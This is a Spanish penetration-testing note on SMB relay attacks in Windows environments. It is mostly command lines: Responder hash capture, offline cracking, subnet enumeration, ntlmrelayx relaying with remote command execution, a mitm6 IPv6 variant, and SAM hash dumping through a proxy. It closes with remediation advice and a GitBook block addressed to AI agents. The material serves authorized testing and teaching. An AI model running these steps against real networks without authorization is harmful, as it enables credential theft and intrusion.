> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/smb-relay-in-windows-environments.md).
# Relé SMB en entornos Windows
SMB relay captura la autenticación NTLM y la retransmite a otro host cuando la firma SMB no es obligatoria. Este flujo de trabajo está pensado para laboratorios Windows autorizados y evaluaciones internas.
## Condiciones a verificar
* La firma SMB no es obligatoria en al menos un objetivo.
* La cuenta capturada tiene acceso útil en un objetivo de retransmisión.
* Los servidores SMB y HTTP de Responder están deshabilitados cuando `ntlmrelayx` gestiona la retransmisión.
* Los objetivos de retransmisión se enumeran en `targets.txt`.
## Capturar NTLMv2 con Responder
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
Las redes Windows suelen generar autenticación automática a través del inventario de software, tareas de administración, acceso a recursos compartidos y resolución de nombres.
## Cracking sin conexión
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```
## Enumeración SMB
```bash
crackmapexec smb 192.168.71.0/24
```
Validar los permisos de la cuenta:
```bash
crackmapexec smb 192.168.71.0/24 -u '' -p ''
```
## Retransmitir con ntlmrelayx
Deshabilitar SMB y HTTP en `Responder.conf`, luego ejecuta Responder:
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
Iniciar la retransmisión:
```bash
ntlmrelayx.py -tf targets.txt -smb2support
```
## Validación de ejecución de comandos mediante retransmisión
Cuando la ejecución de comandos esté dentro del alcance, valida primero la retransmisión con un comando de bajo impacto:
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```
Para una prueba más clara, escribe el contexto de ejecución en un archivo temporal en el objetivo de retransmisión:
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```
## Variante IPv6 con mitm6
```bash
mitm6 -d j0rdan.local
```
Retransmisión IPv6:
```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```
Usar la retransmisión a través del proxy:
```bash
proxychains cme smb 192.168.71.151 -u '' -p '' -d '' --sam
```
## Puntos clave
* La retransmisión SMB depende principalmente de que la firma SMB no sea obligatoria.
* Responder y `ntlmrelayx` deben configurarse para que no compitan por el tráfico SMB o HTTP.
* Corrige exigiendo la firma SMB, reduciendo el uso de NTLM, supervisando el abuso de LLMNR/NBNS/WPAD y limitando los privilegios de administrador local.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.